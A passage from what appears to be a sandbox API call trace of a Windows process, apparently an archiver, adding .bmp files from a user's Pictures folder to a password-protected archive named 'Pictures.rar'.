lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.180] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.180] GetTickCount () returned 0x2671c [0066.180] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15750828265) returned 1 [0066.180] GetTickCount () returned 0x2671c [0066.180] GetTickCount () returned 0x2671c [0066.180] GetTickCount () returned 0x2671c [0066.180] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.180] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.180] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.180] ResetEvent (hEvent=0x33c) returned 1 [0066.180] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.180] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.180] ResetEvent (hEvent=0x33c) returned 1 [0066.180] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.181] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.181] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.181] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.181] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1cbf2b [0066.181] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1cbf88 [0066.181] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0066.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.181] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0066.181] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0066.181] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0066.181] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x5c60, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x5c60, lpOverlapped=0x0) returned 1 [0066.182] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.182] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.182] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1883947, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1cbf2b [0066.182] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1cbf2b [0066.182] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0066.182] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.182] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9d40 [0066.182] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.182] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.182] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9520 [0066.182] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.182] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9d40 | out: hHeap=0x28b08430000) returned 1 [0066.182] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.182] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.182] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0066.182] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0066.182] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc00, Size=0x48) returned 0x28b084f9430 [0066.183] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ed010 [0066.183] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed013*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed013*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5d, lpOverlapped=0x0) returned 1 [0066.183] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0066.183] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5d) returned 0x28b0c100be0 [0066.183] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9520 | out: hHeap=0x28b08430000) returned 1 [0066.183] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed010 | out: hHeap=0x28b08430000) returned 1 [0066.183] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1d1be8 [0066.183] CloseHandle (hObject=0x350) returned 1 [0066.183] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0066.183] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0066.183] GetFocus () returned 0x102e2 [0066.183] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0066.183] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.183] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 1 [0066.183] GetMessageW (in: lpMsg=0xf00f8dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd5e0) returned 1 [0066.183] GetFocus () returned 0x102e2 [0066.184] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd5e0) returned 1 [0066.184] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.184] FindFirstFileW (in: lpFileName="yWEcS.bmp", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee7f0 [0066.185] FindClose (in: hFindFile=0x28b0c0ee7f0 | out: hFindFile=0x28b0c0ee7f0) returned 1 [0066.185] CreateFileW (lpFileName="yWEcS.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ywecs.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.185] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.185] GetTickCount () returned 0x2672c [0066.185] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.185] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.185] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.185] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.185] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="yova8.bmp") returned 9 [0066.185] SetWindowTextW (hWnd=0x102c6, lpString="yWEcS.bmp") returned 1 [0066.185] GetTickCount () returned 0x2672c [0066.186] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.186] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0066.186] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0066.186] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0066.186] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x2a6)) [0066.186] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0066.186] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15751461766) returned 1 [0066.186] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x2e9a, lpOverlapped=0x0) returned 1 [0066.186] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70eeda, nNumberOfBytesToRead=0xfd166, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70eeda*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0066.186] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.186] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.186] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9520 [0066.186] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.186] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.186] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f98e0 [0066.186] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.186] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9520 | out: hHeap=0x28b08430000) returned 1 [0066.186] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.186] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0066.186] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fdb0 | out: hHeap=0x28b08430000) returned 1 [0066.186] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0066.186] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9a70 [0066.186] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9a70, Size=0x7a) returned 0x28b084ed640 [0066.187] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0066.187] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed640 | out: hHeap=0x28b08430000) returned 1 [0066.187] GetTickCount () returned 0x2672c [0066.187] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15751575632) returned 1 [0066.187] GetTickCount () returned 0x2672c [0066.187] GetTickCount () returned 0x2672c [0066.187] GetTickCount () returned 0x2672c [0066.187] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.187] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.187] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.187] ResetEvent (hEvent=0x344) returned 1 [0066.188] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.188] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.188] ResetEvent (hEvent=0x344) returned 1 [0066.188] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.189] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.189] GetTickCount () returned 0x2672c [0066.189] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15751784888) returned 1 [0066.189] GetTickCount () returned 0x2672c [0066.189] GetTickCount () returned 0x2672c [0066.189] GetTickCount () returned 0x2672c [0066.189] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.189] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.189] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.189] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.190] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.190] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1d1be8 [0066.190] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1d1c45 [0066.190] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0066.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.190] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0066.190] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0066.190] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0066.190] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x2eb0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x2eb0, lpOverlapped=0x0) returned 1 [0066.190] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.190] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.190] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1907688, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1d1be8 [0066.191] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1d1be8 [0066.191] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.191] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.191] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9020 [0066.191] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.191] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.191] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f8ee0 [0066.191] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.191] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9020 | out: hHeap=0x28b08430000) returned 1 [0066.191] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.191] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.191] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.191] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0066.191] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9430 [0066.191] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ecf80 [0066.191] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ecf83*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ecf83*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5d, lpOverlapped=0x0) returned 1 [0066.191] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0066.191] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5d) returned 0x28b0c100710 [0066.191] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8ee0 | out: hHeap=0x28b08430000) returned 1 [0066.191] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecf80 | out: hHeap=0x28b08430000) returned 1 [0066.191] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1d4af5 [0066.191] CloseHandle (hObject=0x350) returned 1 [0066.191] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.191] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.191] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.191] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.191] FindFirstFileW (in: lpFileName="y_QmYlvwtNWjwI0tZ.bmp", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee7f0 [0066.192] FindClose (in: hFindFile=0x28b0c0ee7f0 | out: hFindFile=0x28b0c0ee7f0) returned 1 [0066.192] CreateFileW (lpFileName="y_QmYlvwtNWjwI0tZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\y_qmylvwtnwjwi0tz.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.192] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.192] GetTickCount () returned 0x2672c [0066.192] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.192] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.192] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.192] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.192] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="yWEcS.bmp") returned 9 [0066.192] SetWindowTextW (hWnd=0x102c6, lpString="y_QmYlvwtNWjwI0tZ.bmp") returned 1 [0066.193] GetTickCount () returned 0x2672c [0066.193] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.193] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0066.193] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0066.193] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0066.193] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x2a6)) [0066.193] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0066.193] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15752162644) returned 1 [0066.193] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xbf51, lpOverlapped=0x0) returned 1 [0066.193] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b717f91, nNumberOfBytesToRead=0xf40af, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b717f91*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0066.193] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.193] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.193] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.193] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.193] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc30, Size=0x48) returned 0x28b084f9200 [0066.193] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.193] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.193] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9bb0 [0066.194] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.194] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9200 | out: hHeap=0x28b08430000) returned 1 [0066.194] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.194] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.194] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.194] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0066.194] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f98e0 [0066.194] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f98e0, Size=0x7a) returned 0x28b084ecf80 [0066.194] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0066.194] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecf80 | out: hHeap=0x28b08430000) returned 1 [0066.194] GetTickCount () returned 0x2672c [0066.194] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15752277835) returned 1 [0066.194] GetTickCount () returned 0x2672c [0066.194] GetTickCount () returned 0x2672c [0066.194] GetTickCount () returned 0x2672c [0066.194] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.194] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.194] SetThreadExecutionState (esFlags=0x1) returned 